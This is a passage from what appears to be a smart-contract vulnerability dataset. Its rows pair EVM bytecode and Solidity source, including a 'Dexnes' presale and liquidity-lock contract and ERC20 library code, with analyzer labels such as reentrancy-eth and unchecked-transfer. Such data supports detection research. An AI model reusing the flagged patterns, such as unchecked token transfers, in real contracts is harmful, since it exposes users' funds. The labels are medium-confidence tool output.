01168201806040525081019061103591906116ce565b8160018151811061104857611048611780565b6001600160a01b039283166020918202929092010152600f5461106e9130911684610986565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a7908590600090869030904290600401611796565b600060405180830381600087803b1580156110c157600080fd5b505af11580156110d5573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6000806110f78385611751565b905083811015610f0a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610416565b6108e98383836111b9565b60008060006111616112b0565b90925090506111708282611177565b9250505090565b6000610f0a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f4565b6000806000806000806111cb87611322565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506111fd908761137f565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461122c90866110ea565b6001600160a01b03891660009081526001602052604090205561124e816113c1565b611258848361140b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161129d91815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af68000006112cd8282611177565b8210156112eb5750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836113155760405162461bcd60e51b81526004016104169190611553565b506000610e468486611807565b600080600080600080600080600061133f8a600c54600d5461142f565b925092509250600061134f611154565b905060008060006113628e878787611484565b919e509c509a509598509396509194505050505091939550919395565b6000610f0a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e15565b60006113cb611154565b905060006113d983836114d4565b306000908152600160205260409020549091506113f690826110ea565b30600090815260016020526040902055505050565b600854611418908361137f565b60085560095461142890826110ea565b6009555050565b6000808080611449606461144389896114d4565b90611177565b9050600061145c60646114438a896114d4565b905060006114748261146e8b8661137f565b9061137f565b9992985090965090945050505050565b600080808061149388866114d4565b905060006114a188876114d4565b905060006114af88886114d4565b905060006114c18261146e868661137f565b939b939a50919850919650505050505050565b6000826114e35750600061037d565b60006114ef8385611829565b9050826114fc8583611807565b14610f0a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610416565b600060208083528351808285015260005b8181101561158057858101830151858201604001528201611564565b81811115611592576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461046857600080fd5b600080604083850312156115d057600080fd5b82356115db816115a8565b946020939093013593505050565b6000806000606084860312156115fe57600080fd5b8335611609816115a8565b92506020840135611619816115a8565b929592945050506040919091013590565b60006020828403121561163c57600080fd5b8135610f0a816115a8565b60006020828403121561165957600080fd5b5035919050565b6000806040838503121561167357600080fd5b823561167e816115a8565b9150602083013561168e816115a8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116e057600080fd5b8151610f0a816115a8565b60008060006060848603121561170057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561172b57600080fd5b81518015158114610f0a57600080fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156117645761176461173b565b500190565b60008282101561177b5761177b61173b565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e65784516001600160a01b0316835293830193918301916001016117c1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261182457634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118435761184361173b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207cf2ceff78fa642faca3c302bb38687fe9c8e4a1b9e87beddd0785f16b207cc364736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,038 |
0x011e73470f92b3e9e718ea4b0efe71ec8aefd4be
|
/**
*Submitted for verification at Etherscan.io on 2020-11-16
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
// Long live and prosper...
contract DexnesPresaleAndLiquidityLock {
using SafeMath for uint256;
IUniswapV2Router02 internal constant UNISWAP = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
struct WhitelistInfo {
uint256 whitelisted;
uint256 boughtAmount;
}
uint256 public startTimestamp = 1605535200; // 11/16/2020 @ 2:00pm (UTC)
uint256 public endTimestamp = startTimestamp.add(1 days); // ends after a day
uint256 public lockDuration = 31 days; // liquidity locked for 31 days
IERC20 public dnesToken = IERC20(address(0xD1706eAf3C60b69942F29b683D857e01428c459F)); // dexnes token
address public dexnesCaptain = address(0xA34757fC1e8EAD538C4ef2Ef23286517A7a9d0a7); // staking contract
uint256 public locked;
uint256 public unlockTimestamp;
uint256 public maxAllowed = 3 ether;
uint256 public liquidityPercentage = 75;
uint256 public weiRaised;
address[] internal buyers;
mapping(address => WhitelistInfo) public whitelist;
address public owner;
constructor() public {
owner = msg.sender;
}
function addToWhitelist(address[100] calldata _addresses) public {
require(msg.sender == owner, "Caller is not owner");
for (uint i = 0; i < _addresses.length; i++) {
address addy = _addresses[i];
if (addy != address(0)) {
whitelist[addy] = WhitelistInfo(1, 0);
}
}
}
function unlockLiquidity(IERC20 _uniLpToken) public {
require(locked == 1, "Liquidity is not yet locked");
require(isClosed(), "Liqudity cannot be unlocked as the presale is not yet closed");
require(block.timestamp >= unlockTimestamp, "Liqudity cannot be unlocked as the block timestamp is before the unlock timestamp");
_uniLpToken.transfer(owner, _uniLpToken.balanceOf(address(this)));
}
// adds liquidity to uniswap (ratio is 1.5 eth = 1 dnes)
// 75% of the raised eth will be put into liquidity pool
// 25% of the raised eth will be used for marketing
// unsold tokens will be sent to the mining pool
function lockLiquidity() public {
require(locked == 0, "Liquidity is already locked");
require(isClosed(), "Presale is either still open or not yet opened");
locked = 1;
unlockTimestamp = block.timestamp.add(lockDuration);
addLiquidity();
distributeTokensToBuyers();
payable(owner).transfer(address(this).balance);
dnesToken.transfer(dexnesCaptain, dnesToken.balanceOf(address(this)));
}
function addLiquidity() internal {
uint256 ethForLiquidity = weiRaised.mul(liquidityPercentage).div(100);
uint256 tokenForLiquidity = ethForLiquidity.div(150).mul(100);
dnesToken.approve(address(UNISWAP), tokenForLiquidity);
UNISWAP.addLiquidityETH
{value : ethForLiquidity}
(
address(dnesToken),
tokenForLiquidity,
0,
0,
address(this),
block.timestamp + 100000000
);
}
function distributeTokensToBuyers() internal {
for (uint i = 0; i < buyers.length; i++) {
address buyer = buyers[i];
uint256 tokens = whitelist[buyer].boughtAmount;
if (tokens > 0) {
dnesToken.transfer(buyer, tokens);
}
}
}
function isOpen() public view returns (bool) {
return !isClosed() && block.timestamp >= startTimestamp;
}
function isClosed() public view returns (bool) {
return block.timestamp >= endTimestamp;
}
function buyTokens() payable public {
require(isOpen(), "Presale is either already closed or not yet open");
require(whitelist[msg.sender].whitelisted == 1, "Address is not included in the whitelist");
require(dnesToken.balanceOf(address(this)) >= msg.value, "Contract does not have enough token balance");
uint256 boughtAmount = whitelist[msg.sender].boughtAmount.add(msg.value);
require(boughtAmount <= maxAllowed, "Whitelisted address can only buy a maximum of 3 ether");
buyers.push(msg.sender);
whitelist[msg.sender].boughtAmount = boughtAmount;
weiRaised = weiRaised.add(msg.value);
dnesToken.transfer(msg.sender, msg.value);
}
receive() external payable {
buyTokens();
}
}
|
0x60806040526004361061010d5760003560e01c8063aa082a9d11610095578063ca39967111610064578063ca399671146103d5578063cf30901214610400578063d0febe4c1461042b578063d58c66ab14610435578063e6fd48bc146104865761011c565b8063aa082a9d14610329578063bb2f719914610354578063be5bf5791461036b578063c2b6b58c146103a85761011c565b806389eeee1f116100dc57806389eeee1f146101cf5780638da5cb5b146102105780639b19251a14610251578063a2ec3218146102bd578063a85adeab146102fe5761011c565b80630455444314610121578063048b87ba1461014c5780634042b66f1461017757806347535d7b146101a25761011c565b3661011c5761011a6104b1565b005b600080fd5b34801561012d57600080fd5b50610136610910565b6040518082815260200191505060405180910390f35b34801561015857600080fd5b50610161610916565b6040518082815260200191505060405180910390f35b34801561018357600080fd5b5061018c61091c565b6040518082815260200191505060405180910390f35b3480156101ae57600080fd5b506101b7610922565b60405180821515815260200191505060405180910390f35b3480156101db57600080fd5b506101e4610940565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021c57600080fd5b50610225610966565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561025d57600080fd5b506102a06004803603602081101561027457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098c565b604051808381526020018281526020019250505060405180910390f35b3480156102c957600080fd5b506102d26109b0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030a57600080fd5b506103136109d6565b6040518082815260200191505060405180910390f35b34801561033557600080fd5b5061033e6109dc565b6040518082815260200191505060405180910390f35b34801561036057600080fd5b506103696109e2565b005b34801561037757600080fd5b506103a66004803603610c8081101561038f57600080fd5b8101908080610c8001909192919290505050610d09565b005b3480156103b457600080fd5b506103bd610eb7565b60405180821515815260200191505060405180910390f35b3480156103e157600080fd5b506103ea610ec4565b6040518082815260200191505060405180910390f35b34801561040c57600080fd5b50610415610eca565b6040518082815260200191505060405180910390f35b6104336104b1565b005b34801561044157600080fd5b506104846004803603602081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed0565b005b34801561049257600080fd5b5061049b611173565b6040518082815260200191505060405180910390f35b6104b9610922565b61050e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806118c36030913960400191505060405180910390fd5b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154146105a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806117c26028913960400191505060405180910390fd5b34600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561063357600080fd5b505afa158015610647573d6000803e3d6000fd5b505050506040513d602081101561065d57600080fd5b810190808051906020019092919050505010156106c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b81526020018061183b602b913960400191505060405180910390fd5b600061071c34600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015461117990919063ffffffff16565b9050600754811115610779576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603581526020018061178d6035913960400191505060405180910390fd5b600a339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055506108383460095461117990919063ffffffff16565b600981905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33346040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156108d157600080fd5b505af11580156108e5573d6000803e3d6000fd5b505050506040513d60208110156108fb57600080fd5b81019080805190602001909291905050505050565b60025481565b60085481565b60095481565b600061092c610eb7565b15801561093b57506000544210155b905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020528060005260406000206000915090508060000154908060010154905082565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60065481565b600060055414610a5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c697175696469747920697320616c7265616479206c6f636b6564000000000081525060200191505060405180910390fd5b610a62610eb7565b610ab7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806118f3602e913960400191505060405180910390fd5b6001600581905550610ad46002544261117990919063ffffffff16565b600681905550610ae2611201565b610aea611478565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610b52573d6000803e3d6000fd5b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c3d57600080fd5b505afa158015610c51573d6000803e3d6000fd5b505050506040513d6020811015610c6757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ccb57600080fd5b505af1158015610cdf573d6000803e3d6000fd5b505050506040513d6020811015610cf557600080fd5b810190808051906020019092919050505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f43616c6c6572206973206e6f74206f776e65720000000000000000000000000081525060200191505060405180910390fd5b60005b6064811015610eb3576000828260648110610de657fe5b602002013573ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610ea5576040518060400160405280600181526020016000815250600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101559050505b508080600101915050610dcf565b5050565b6000600154421015905090565b60075481565b60055481565b600160055414610f48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4c6971756964697479206973206e6f7420796574206c6f636b6564000000000081525060200191505060405180910390fd5b610f50610eb7565b610fa5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c815260200180611866603c913960400191505060405180910390fd5b600654421015611000576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260518152602001806117ea6051913960600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110a657600080fd5b505afa1580156110ba573d6000803e3d6000fd5b505050506040513d60208110156110d057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561113457600080fd5b505af1158015611148573d6000803e3d6000fd5b505050506040513d602081101561115e57600080fd5b81019080805190602001909291905050505050565b60005481565b6000808284019050838110156111f7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061122d606461121f6008546009546115f690919063ffffffff16565b61167c90919063ffffffff16565b90506000611258606461124a60968561167c90919063ffffffff16565b6115f690919063ffffffff16565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b505050506040513d602081101561132b57600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71983600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600080306305f5e10042016040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561142157600080fd5b505af1158015611435573d6000803e3d6000fd5b50505050506040513d606081101561144c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b60005b600a805490508110156115f3576000600a828154811061149757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905060008111156115e457600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115a757600080fd5b505af11580156115bb573d6000803e3d6000fd5b505050506040513d60208110156115d157600080fd5b8101908080519060200190929190505050505b5050808060010191505061147b565b50565b6000808314156116095760009050611676565b600082840290508284828161161a57fe5b0414611671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806118a26021913960400191505060405180910390fd5b809150505b92915050565b60006116be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c6565b905092915050565b60008083118290611772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561173757808201518184015260208101905061171c565b50505050905090810190601f1680156117645780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161177e57fe5b04905080915050939250505056fe57686974656c697374656420616464726573732063616e206f6e6c79206275792061206d6178696d756d206f66203320657468657241646472657373206973206e6f7420696e636c7564656420696e207468652077686974656c6973744c697175646974792063616e6e6f7420626520756e6c6f636b65642061732074686520626c6f636b2074696d657374616d70206973206265666f72652074686520756e6c6f636b2074696d657374616d70436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f6b656e2062616c616e63654c697175646974792063616e6e6f7420626520756e6c6f636b6564206173207468652070726573616c65206973206e6f742079657420636c6f736564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7750726573616c652069732065697468657220616c726561647920636c6f736564206f72206e6f7420796574206f70656e50726573616c6520697320656974686572207374696c6c206f70656e206f72206e6f7420796574206f70656e6564a26469706673582212202eb9b80e45217b429859b46b6cfb4962676c089168e673173ea374a15b890db464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,039 |
0x527d1a248dbd53dba2cd3292d63e9fb8ce997c7f
|
pragma solidity ^0.4.18;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
